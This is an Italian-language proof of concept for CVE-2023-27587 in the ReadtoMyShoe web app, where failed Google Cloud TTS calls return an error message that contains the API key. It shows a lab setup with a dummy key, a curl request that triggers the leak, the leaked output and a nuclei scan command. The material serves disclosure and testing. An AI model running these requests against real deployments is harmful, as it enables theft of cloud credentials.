
La semplice PoC di CVE-2023-27587
La semplice PoC di CVE-2023-27587
ReadtoMyShoe (RTMS) è un'applicazione web (rust, yew e axum) che ti consente di caricare articoli (tramite URL o incollandoli direttamente) e ascoltarli in seguito.
Se si verifica un errore durante l'aggiunta di un articolo, il sito web mostra all'utente un messaggio di errore. Se l'errore proviene dalla richiesta Google Cloud TTS, allora includerà l'URL completo della richiesta. L'URL della richiesta contiene la chiave API di Google Cloud.
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
La chiave viene esposta solo quando si verifica un errore nella chiamata GCP!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587